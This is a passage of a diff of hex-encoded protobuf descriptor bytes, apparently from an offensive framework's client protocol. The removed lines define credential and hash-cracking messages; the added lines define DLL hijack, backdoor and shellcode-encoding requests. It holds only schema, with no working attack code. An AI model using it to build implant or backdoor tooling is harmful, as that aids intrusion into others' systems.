0x52, 0x07, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x12, 0x3f, 0x0a, 0x0e, - 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, 0x18, 0x07, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x52, 0x0e, 0x43, - 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, 0x22, 0x80, 0x02, - 0x0a, 0x0a, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x12, 0x0e, 0x0a, 0x02, - 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, - 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, - 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x50, 0x6c, 0x61, 0x69, - 0x6e, 0x74, 0x65, 0x78, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x50, 0x6c, 0x61, - 0x69, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x61, 0x73, 0x68, 0x18, 0x04, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x61, 0x73, 0x68, 0x12, 0x2e, 0x0a, 0x08, 0x48, 0x61, - 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x12, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, - 0x52, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x73, - 0x43, 0x72, 0x61, 0x63, 0x6b, 0x65, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, - 0x73, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x65, 0x64, 0x12, 0x26, 0x0a, 0x0e, 0x4f, 0x72, 0x69, 0x67, - 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0e, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, - 0x12, 0x1e, 0x0a, 0x0a, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x08, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x22, 0x45, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x12, - 0x36, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x18, 0x01, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x52, 0x0b, 0x43, 0x72, 0x65, 0x64, - 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x22, 0x4d, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, - 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x3c, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, - 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, - 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, - 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, - 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0xed, 0x01, 0x0a, 0x12, 0x43, 0x72, 0x61, 0x63, 0x6b, - 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x12, 0x0a, - 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, - 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x26, 0x0a, - 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x10, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x74, 0x65, 0x73, 0x52, 0x05, - 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x2c, 0x0a, 0x11, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, - 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x11, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4a, 0x6f, - 0x62, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x73, 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, - 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, 0x73, 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, - 0x67, 0x12, 0x33, 0x0a, 0x07, 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x18, 0x06, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, - 0x61, 0x63, 0x6b, 0x53, 0x79, 0x6e, 0x63, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x52, 0x07, 0x53, - 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x22, 0xa9, 0x01, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b, - 0x53, 0x79, 0x6e, 0x63, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x53, 0x70, - 0x65, 0x65, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x02, 0x52, 0x05, 0x53, 0x70, 0x65, 0x65, 0x64, - 0x12, 0x43, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x18, 0x02, 0x20, 0x03, - 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, - 0x61, 0x63, 0x6b, 0x53, 0x79, 0x6e, 0x63, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x2e, 0x50, 0x72, - 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x50, 0x72, 0x6f, - 0x67, 0x72, 0x65, 0x73, 0x73, 0x1a, 0x3b, 0x0a, 0x0d, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, - 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x02, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, - 0x38, 0x01, 0x22, 0xc9, 0x01, 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x42, 0x65, 0x6e, 0x63, - 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, - 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, - 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x48, 0x0a, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, - 0x72, 0x6b, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x28, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, - 0x61, 0x72, 0x6b, 0x2e, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x52, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x1a, - 0x3d, 0x0a, 0x0f, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, - 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, - 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x04, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xd9, - 0x01, 0x0a, 0x09, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x0e, 0x0a, 0x02, - 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, - 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, - 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x72, 0x65, 0x61, - 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x72, 0x65, - 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x74, 0x61, 0x72, 0x74, 0x65, - 0x64, 0x41, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x53, 0x74, 0x61, 0x72, 0x74, - 0x65, 0x64, 0x41, 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, - 0x64, 0x41, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, - 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x07, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x30, 0x0a, 0x07, 0x43, 0x6f, 0x6d, 0x6d, - 0x61, 0x6e, 0x64, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, - 0x64, 0x52, 0x07, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x22, 0xed, 0x03, 0x0a, 0x0c, 0x43, - 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x4e, - 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, - 0x22, 0x0a, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, - 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, - 0x48, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, - 0x26, 0x0a, 0x0e, 0x48, 0x61, 0x73, 0x68, 0x63, 0x61, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, - 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x48, 0x61, 0x73, 0x68, 0x63, 0x61, 0x74, - 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, - 0x55, 0x49, 0x44, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, - 0x55, 0x49, 0x44, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x07, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x46, 0x0a, - 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x18, 0x08, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x26, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, - 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, - 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, - 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x12, 0x2d, 0x0a, 0x04, 0x43, 0x55, 0x44, 0x41, 0x18, 0x64, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, - 0x55, 0x44, 0x41, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x04, - 0x43, 0x55, 0x44, 0x41, 0x12, 0x30, 0x0a, 0x05, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x18, 0x65, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, - 0x65, 0x74, 0x61, 0x6c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x52, - 0x05, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x12, 0x33, 0x0a, 0x06, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, - 0x18, 0x66, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, - 0x6e, 0x66, 0x6f, 0x52, 0x06, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x1a, 0x3d, 0x0a, 0x0f, 0x42, - 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, - 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x03, 0x6b, 0x65, 0x79, - 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xa1, 0x02, 0x0a, 0x0f, 0x43, - 0x55, 0x44, 0x41, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, - 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, - 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x12, 0x16, - 0x0a, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, - 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, - 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, - 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, - 0x72, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, - 0x73, 0x6f, 0x72, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x18, 0x07, 0x20, - 0x01, 0x28, 0x05, 0x52, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x65, - 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x12, 0x1e, 0x0a, 0x0a, - 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x12, 0x20, 0x0a, 0x0b, - 0x43, 0x55, 0x44, 0x41, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x0b, 0x43, 0x55, 0x44, 0x41, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xd9, - 0x02, 0x0a, 0x11, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, - 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x56, 0x65, 0x6e, 0x64, - 0x6f, 0x72, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x56, 0x65, 0x6e, 0x64, - 0x6f, 0x72, 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x12, 0x12, 0x0a, 0x04, - 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, - 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x72, - 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, - 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x43, 0x6c, - 0x6f, 0x63, 0x6b, 0x18, 0x07, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, - 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x18, - 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, - 0x61, 0x6c, 0x12, 0x1e, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, - 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, - 0x65, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x56, 0x65, 0x72, 0x73, - 0x69, 0x6f, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4f, 0x70, 0x65, 0x6e, 0x43, - 0x4c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x30, 0x0a, 0x13, 0x4f, 0x70, 0x65, 0x6e, - 0x43, 0x4c, 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, - 0x0b, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x72, 0x69, - 0x76, 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xa4, 0x02, 0x0a, 0x10, 0x4d, - 0x65, 0x74, 0x61, 0x6c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, + 0x75, 0x65, 0x73, 0x74, 0x22, 0x3b, 0x0a, 0x09, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, + 0x6b, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x22, 0x78, 0x0a, 0x0b, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x52, 0x65, 0x71, + 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x50, 0x61, 0x74, 0x68, 0x12, 0x20, 0x0a, 0x0b, + 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, + 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x3a, 0x0a, 0x08, 0x42, + 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, + 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xeb, 0x01, 0x0a, 0x12, 0x53, 0x68, 0x65, 0x6c, + 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x65, 0x71, 0x12, 0x34, + 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, + 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, + 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x07, 0x45, 0x6e, 0x63, + 0x6f, 0x64, 0x65, 0x72, 0x12, 0x22, 0x0a, 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, + 0x74, 0x75, 0x72, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 